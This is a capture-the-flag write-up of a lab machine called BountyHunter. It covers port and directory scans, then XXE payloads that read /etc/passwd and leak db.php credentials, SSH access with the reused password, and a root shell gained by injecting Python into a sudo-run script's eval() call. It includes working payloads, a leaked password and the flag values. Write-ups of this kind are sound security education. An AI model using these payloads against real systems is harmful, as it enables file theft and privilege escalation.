Reconnaissance
I ran a Nmap scan using rust first
rustscan -a bountyhunter.htb --ulimit 3000 -- -sC -sV
The scan returned
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLosZOXFZWvSPhPmfUE7v+PjfXGErY0KCPmAWrTUkyyFWRFO3gwHQMQqQUIcuZHmH20xMb+mNC6xnX2TRmsyaufPXLmib9Wn0BtEYbVDlu2mOdxWfr+LIO8yvB+kg2Uqg+QHJf7SfTvdO606eBjF0uhTQ95wnJddm7WWVJlJMng7+/1NuLAAzfc0ei14XtyS1u6gDvCzXPR5xus8vfJNSp4n4B5m4GUPqI7odyXG2jK89STkoI5MhDOtzbrQydR0ZUg2PRd5TplgpmapDzMBYCIxH6BwYXFgSU3u3dSxPJnIrbizFVNIbc9ezkF39K+xJPbc9CTom8N59eiNubf63iDOck9yMH+YGk8HQof8ovp9FAT7ao5dfeb8gH9q9mRnuMOOQ9SxYwIxdtgg6mIYh4PRqHaSD5FuTZmsFzPfdnvmurDWDqdjPZ6/CsWAkrzENv45b0F04DFiKYNLwk8xaXLum66w61jz4Lwpko58Hh+m0i4bs25wTH1VDMkguJ1js=
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKlGEKJHQ/zTuLAvcemSaOeKfnvOC4s1Qou1E0o9Z0gWONGE1cVvgk1VxryZn7A0L1htGGQqmFe50002LfPQfmY=
| 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
| _ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJeoMhM6lgQjk6hBf+Lw/sWR4b1h8AEiDv+HAbTNk4J3
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-title: Bounty Hunters
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We can see the classic 1 http port and ssh port is open. So probably there is going to be a website.
If we look at the http service version:
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
This version might be vulnerable.
Let's run a directory scan to see if there are any hidden directories which might be interesting:
gobuster dir -u http://bountyhunter.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt -t 50
Directory scan results :
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://bountyhunter.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
resources (Status: 301) [Size: 324] [--> http://bountyhunter.htb/resources/]
assets (Status: 301) [Size: 321] [--> http://bountyhunter.htb/assets/]
css (Status: 301) [Size: 318] [--> http://bountyhunter.htb/css/]
js (Status: 301) [Size: 317] [--> http://bountyhunter.htb/js/]
Progress: 87662 / 87662 (100.00%)
===============================================================
Finished
===============================================================
We were only able to find a bunch of 301s (meaning - 301 status code is a redirection response that indicates the requested resource has been definitively and permanently moved to a new URL).
I looked up http://bountyhunter.htb/resources/:

I found this which is a directory listing. I'm using wget to download all those files:
wget -m -np http://bountyhunter.htb/resources/
Then I selected some interesting files like the readme and more and used Gemini to analyze it and it revealed quite a lot.
"The files reveal a textbook XXE (XML External Entity) vulnerability chain: bountylog.js shows the site captures form data, wraps it in an XML structure, Base64 encodes it, and sends it to tracker_di_os.php for processing. This is a massive find because you can manipulate that XML to force the server to leak internal files like /etc/passwd or source code. Furthermore, the README.txt confirms a test account is active and currently has "no password," giving you a secondary entry point into the system's "portal"."
Looking at the website I can see there is some kind of portal which is under development with this link to a bug bounty tracker. Which looks like a php app made to upload CVEs. This is the submit form which we found out using those directory files which sends data to the tracker_di_os.php.

I fired up Burp then filled the form and submitted while intercepting. I was able to find that it is in fact sending data which is wrapped in XML and encoded in Base64:
POST /tracker_diRbPr00f314.php HTTP/1.1
Host: bountyhunter.htb
Content-Length: 219
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Origin: http://bountyhunter.htb
Referer: http://bountyhunter.htb/log_submit.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT50ZXN0PC90aXRsZT4KCQk8Y3dlPnRlc3Q8L2N3ZT4KCQk8Y3Zzcz50ZXN0PC9jdnNzPgoJCTxyZXdhcmQ%2BMTwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg%3D%3D
So now what we have to do is to send our own payload which is a Base64 encoded XML string so the server will return what we want.
I used Gemini to make a payload:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE test [ <!ENTITY exploit SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<title>&exploit;</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>
And after sending the request to the repeater on Burp I selected the new payload, replaced it, then selected it and pressed ctrl + u to URL encode it.
What this payload did was instruct the server to copy the /etc/passwd file and show it back to us. And it did so we know that the site is vulnerable too.

We can also see a user called development which we might have to find a password for.
So now I'm trying to find if there are any credentials on the server.
To do this I'm using another payload which was generated by Gemini which will effectively try to read db.php and send it back to us Base64 encoded since PHP files execute when read.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE test [ <!ENTITY exploit SYSTEM "php://filter/convert.base64-encode/resource=db.php"> ]>
<bugreport>
<title>&exploit;</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>
And we were successfully able to get the expected response which is the db.php Base64 encoded:
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
And it leaked hardcoded credentials which is:
Username: development
Password: m19RoAU0hP41A1sTsq6K
Now I will SSH to the machine using those credentials we found:
ssh development@bountyhunter.htb
And we are in!
development@bountyhunter:~$ whoami
development
And the user.txt was there so I used cat to read it:
development@bountyhunter:~$ cat user.txt
180e0ed42b33f0e226c52b2767852990
Now I'm going to check what this user can run as admin:
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
We can see development can run ticketValidator.py as root with all permissions.
Let's read what's in that python file:
cat /opt/skytrain_inc/ticketValidator.py
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
The script uses eval() on the "Ticket Code" line. In Python, eval() executes a string as code, and since we can run this script with sudo, any code we inject will run as root.
The Vulnerability Logic
To reach the eval() call, our malicious file must satisfy several checks:
- File Extension: Must end in
.md. - Line 1: Must start with
# Skytrain Inc. - Line 2: Must start with
## Ticket to. - The Math: The first number in the ticket code must satisfy the condition
number % 7 == 4.
Now I'm going to use this script to create a ticket:
cat << EOF > /tmp/exploit.md
# Skytrain Inc
## Ticket to root
__Ticket Code:__
**11+__import__('os').system('/bin/bash')**
EOF
Then trigger the root shell:
sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
# When prompted for the path:
/tmp/exploit.md
And we are root!
root@bountyhunter:~# whoami
root
And found the root flag:
root@bountyhunter:~# cat root.txt
ae0b8231299e78c014354f320ab076e